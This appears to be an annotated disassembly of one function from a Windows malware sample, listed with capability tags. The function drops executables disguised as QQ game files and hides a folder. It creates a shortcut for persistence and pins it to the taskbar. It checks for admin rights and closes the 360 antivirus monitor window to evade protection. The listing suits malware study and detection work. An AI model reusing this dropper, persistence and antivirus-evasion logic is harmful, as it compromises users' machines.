Function at 0x180005d40
Capabilities:
Check if file exists
Create directory
Enumerate processes
Find taskbar
Get common file path
Get file attributes
Get token membership
Persist via lnk shortcut
Set file attributes
Write file on windows

Disassembly:
mov qword [rsp + 0x20], rbx
push rbp
push rsi
push rdi
push r14
push r15
lea rbp, [rsp - 0xe00]
sub rsp, 0xf00
xor r15d, r15d
mov qword [rsp + 0x30], r15
mov dword [rsp + 0x28], r15d
mov dword [rsp + 0x20], 2
xor r9d, r9d
mov edx, 0x40000000
lea r8d, [r15 + 1]
lea rcx, str.C:UsersPublicDownloadsQQgames.exe
call qword [sym.imp.KERNEL32.dll_CreateFileW]
mov rbx, rax
mov qword [rsp + 0x20], r15
lea r9, [rbp + 0xe30]
mov r8d, 0x9fa00
lea rdx, [0x18004c1d0]
mov rcx, rax
call qword [sym.imp.KERNEL32.dll_WriteFile]
mov rcx, rbx
call qword [sym.imp.KERNEL32.dll_CloseHandle]
xor edx, edx
lea ecx, [rdx + 2]
call qword [sym.imp.KERNEL32.dll_CreateToolhelp32Snapshot]
mov rbx, rax
cmp rax, 0xffffffffffffffff
je 0x180005e32
xor edx, edx
mov r8d, 0x234
lea rcx, [rbp - 0x7c]
call fcn.18002ec50
mov dword [rbp - 0x80], 0x238
lea rdx, [rbp - 0x80]
mov rcx, rbx
call qword [sym.imp.KERNEL32.dll_Process32FirstW]
test eax, eax
je 0x180005e29
nop dword [rax]
nop dword [rax + rax]
lea rdx, str.360Tray.exe
lea rcx, [rbp - 0x54]
call fcn.180017e80
mov rcx, rbx
test eax, eax
je 0x180005ef5
lea rdx, [rbp - 0x80]
call qword [sym.imp.KERNEL32.dll_Process32NextW]
test eax, eax
jne 0x180005e00
mov rcx, rbx
call qword [sym.imp.KERNEL32.dll_CloseHandle]
mov eax, r15d
test eax, eax
je 0x180006409
lea rax, [rbp + 0xbf0]
mov qword [rsp + 0x20], rax
xor r9d, r9d
xor r8d, r8d
xor edx, edx
xor ecx, ecx
call qword [sym.imp.SHELL32.dll_SHGetFolderPathW]
lea r8, [rbp + 0xbf0]
lea rdx, str._sTCLS
lea rcx, [rbp + 0x1c0]
call fcn.180008d00
xor edx, edx
lea rcx, [rbp + 0x1c0]
call qword [sym.imp.KERNEL32.dll_CreateDirectoryW]
lea rcx, [rbp + 0x1c0]
call qword [sym.imp.KERNEL32.dll_GetFileAttributesW]
cmp eax, 0xffffffff
je 0x180005ea6
or eax, 2
mov edx, eax
lea rcx, [rbp + 0x1c0]
call qword [sym.imp.KERNEL32.dll_SetFileAttributesW]
lea rcx, [rsp + 0x60]
call fcn.180005730
nop
mov rcx, qword [rsp + 0x70]
mov rdx, qword [rsp + 0x78]
mov rax, rdx
sub rax, rcx
cmp rax, 4
jb 0x180005f05
lea rax, [rcx + 4]
mov qword [rsp + 0x70], rax
lea rax, [rsp + 0x60]
cmp rdx, 7
cmova rax, qword [rsp + 0x60]
movabs rdx, 0x6500780065002e
mov qword [rax + rcx*2], rdx
mov word [rax + rcx*2 + 8], r15w
jmp 0x180005f26
call qword [sym.imp.KERNEL32.dll_CloseHandle]
mov eax, 1
jmp 0x180005e35
mov qword [rsp + 0x20], 4
lea r9, str..exe
xor r8d, r8d
lea edx, [r8 + 4]
lea rcx, [rsp + 0x60]
call fcn.180009780
lea r9, [rsp + 0x60]
cmp qword [rsp + 0x78], 7
cmova r9, qword [rsp + 0x60]
lea r8, [rbp + 0x1c0]
lea rdx, str._s_s
lea rcx, [rbp + 0x7d0]
call fcn.180008d00
mov qword [rsp + 0x30], r15
mov dword [rsp + 0x28], r15d
mov dword [rsp + 0x20], 2
xor r9d, r9d
mov edx, 0x40000000
lea r8d, [r9 + 1]
lea rcx, [rbp + 0x7d0]
call qword [sym.imp.KERNEL32.dll_CreateFileW]
mov rbx, rax
mov qword [rsp + 0x20], r15
lea r9, [rbp + 0xe30]
mov r8d, 0x38748
lea rdx, [0x18010dd70]
mov rcx, rax
call qword [sym.imp.KERNEL32.dll_WriteFile]
mov rcx, rbx
call qword [sym.imp.KERNEL32.dll_CloseHandle]
lea r8, [rbp + 0x1c0]
lea rdx, str._sQQ.lnk
lea rcx, [rbp + 0x9e0]
call fcn.180003fe0
lea r8, [rbp + 0x7d0]
lea rdx, str.__s_
lea rcx, [rbp - 0x80]
call fcn.180003fe0
mov qword [rbp + 0xe30], r15
mov qword [rbp + 0xe38], r15
xor ecx, ecx
call qword [sym.imp.ole32.dll_CoInitialize]
lea rax, [rbp + 0xe30]
mov qword [rsp + 0x20], rax
lea r9, [0x1800314e0]
xor edx, edx
lea r8d, [rdx + 1]
lea rcx, [0x180031500]
call qword [sym.imp.ole32.dll_CoCreateInstance]
test eax, eax
js 0x1800060ae
mov rcx, qword [rbp + 0xe30]
mov rax, qword [rcx]
lea rdx, [rbp + 0x7d0]
call qword [rax + 0xa0]
mov rcx, qword [rbp + 0xe30]
mov rax, qword [rcx]
lea rdx, [rbp - 0x80]
call qword [rax + 0x58]
mov rcx, qword [rbp + 0xe30]
mov rax, qword [rcx]
lea r8, [rbp + 0xe38]
lea rdx, [0x1800314f0]
call qword [rax]
test eax, eax
jns 0x180006074
mov rcx, qword [rbp + 0xe30]
mov rax, qword [rcx]
call qword [rax + 0x10]
jmp 0x1800060ae
mov rcx, qword [rbp + 0xe38]
mov rax, qword [rcx]
mov r8d, 1
lea rdx, [rbp + 0x9e0]
call qword [rax + 0x30]
mov rcx, qword [rbp + 0xe30]
mov rax, qword [rcx]
call qword [rax + 0x10]
mov rcx, qword [rbp + 0xe38]
mov rax, qword [rcx]
call qword [rax + 0x10]
call qword [sym.imp.ole32.dll_CoUninitialize]
lea rdx, str.Hello_World__n
call fcn.180008a20
lea rdx, str.Hello_World__n
call fcn.180008a20
lea rdx, str.Hello_World__n
call fcn.180008a20
lea rdx, str.Hello_World__n
call fcn.180008a20
lea rdx, str.Hello_World__n
call fcn.180008a20
lea rdx, str.Hello_World__n
call fcn.180008a20
lea rdx, str.Hello_World__n
call fcn.180008a20
lea rdx, str.Hello_World__n
call fcn.180008a20
lea rdx, str.Hello_World__n
call fcn.180008a20
lea rcx, [rbp + 0x9e0]
call qword [sym.imp.KERNEL32.dll_GlobalAddAtomW]
movzx r14d, ax
lea rdx, str.Hello_World__n
call fcn.180008a20
lea rdx, str.Hello_World__n
call fcn.180008a20
lea rdx, str.Hello_World__n
call fcn.180008a20
lea rdx, str.Hello_World__n
call fcn.180008a20
lea rdx, str.Hello_World__n
call fcn.180008a20
lea rdx, str.Hello_World__n
call fcn.180008a20
lea rdx, str.Hello_World__n
call fcn.180008a20
lea rdx, str.Hello_World__n
call fcn.180008a20
lea rdx, [0x18003c270]
lea rcx, str.Shell_TrayWnd
call qword [sym.imp.USER32.dll_FindWindowA]
mov rdi, rax
lea rdx, str.Hello_World__n
call fcn.180008a20
mov ebx, 0x641
mov esi, 0xa
nop dword [rax + rax]
xor r9d, r9d
mov r8, rbx
mov edx, 0x4ea
mov rcx, rdi
call qword [sym.imp.USER32.dll_PostMessageW]
mov r9, r14
mov r8, rbx
mov edx, 0x4e9
mov rcx, rdi
call qword [sym.imp.USER32.dll_PostMessageW]
inc rbx
sub rsi, 1
jne 0x1800061c0
lea rdx, [0x18003c740]
call fcn.180008a20
lea rdx, str.Hello_World__n
call fcn.180008a20
xor r9d, r9d
mov edx, 0x312
lea r8d, [rsi + 5]
mov rcx, rdi
call qword [sym.imp.USER32.dll_PostMessageW]
movabs rdi, 0x3600330051
nop dword [rax + rax]
lea rcx, [rsp + 0x60]
cmp qword [rsp + 0x78], 7
cmova rcx, qword [rsp + 0x60]
call fcn.180005aa0
test eax, eax
je 0x1800063b8
mov ecx, 0x2bc
call qword [sym.imp.KERNEL32.dll_Sleep]
mov dword [rbp + 0xe38], 0
mov word [rbp + 0xe3c], 0x500
lea rax, [rbp + 0xe40]
mov qword [rsp + 0x50], rax
mov dword [rsp + 0x48], r15d
mov dword [rsp + 0x40], r15d
mov dword [rsp + 0x38], r15d
mov dword [rsp + 0x30], r15d
mov dword [rsp + 0x28], r15d
mov dword [rsp + 0x20], r15d
mov r9d, 0x220
mov r8d, 0x20
mov dl, 2
lea rcx, [rbp + 0xe38]
call qword [sym.imp.ADVAPI32.dll_AllocateAndInitializeSid]
test eax, eax
je 0x1800062e3
lea r8, [rbp + 0xe30]
mov rdx, qword [rbp + 0xe40]
xor ecx, ecx
call qword [sym.imp.ADVAPI32.dll_CheckTokenMembership]
test eax, eax
jne 0x1800062d6
mov dword [rbp + 0xe30], r15d
mov rcx, qword [rbp + 0xe40]
call qword [sym.imp.ADVAPI32.dll_FreeSid]
cmp dword [rbp + 0xe30], 1
jne 0x180006230
mov qword [rbp + 0x5d0], rdi
xor edx, edx
mov r8d, 0x1f6
lea rcx, [rbp + 0x5d8]
call fcn.18002ec50
movups xmm0, xmmword [str.0SafeMonClass]
movaps xmmword [rbp + 0x3d0], xmm0
movsd xmm0, qword [0x18003c840]
movsd qword [rbp + 0x3e0], xmm0
mov eax, dword [0x18003c848]
mov dword [rbp + 0x3e8], eax
xor edx, edx
mov r8d, 0x1e2
lea rcx, [rbp + 0x3ec]
call fcn.18002ec50
lea r8, [rbp + 0x3d0]
mov edx, 0xff
lea rcx, [rbp + 0x5d0]
call fcn.1800185a8
xor r9d, r9d
lea r8, [rbp + 0x5d0]
xor edx, edx
xor ecx, ecx
call qword [sym.imp.USER32.dll_FindWindowExW]
mov rbx, rax
mov ecx, 0x32
call qword [sym.imp.KERNEL32.dll_Sleep]
cmp ebx, 1
jl 0x180006361
xor r9d, r9d
xor r8d, r8d
lea edx, [r9 + 0x10]
mov rcx, rbx
call qword [sym.imp.USER32.dll_PostMessageW]
lea rcx, [0x18003c84c]
call fcn.180003f80
lea rcx, [0x18003c84c]
call fcn.180003f80
jmp 0x180006230
mov ecx, 0x1f4
call qword [sym.imp.KERNEL32.dll_Sleep]
call fcn.180005b50
nop
mov rdx, qword [rsp + 0x78]
cmp rdx, 7
jbe 0x18000640e
lea rdx, [rdx*2 + 2]
mov rcx, qword [rsp + 0x60]
mov rax, rcx
cmp rdx, 0x1000
jb 0x180006402
add rdx, 0x27
mov rcx, qword [rcx - 8]
sub rax, rcx
add rax, 0xfffffffffffffff8
cmp rax, 0x1f
ja 0x180006425
call fcn.18000d268
jmp 0x18000640e
call fcn.180005b50
mov rbx, qword [rsp + 0xf48]
add rsp, 0xf00
pop r15
pop r14
pop rdi
pop rsi
pop rbp
ret
call fcn.180019a4c
int3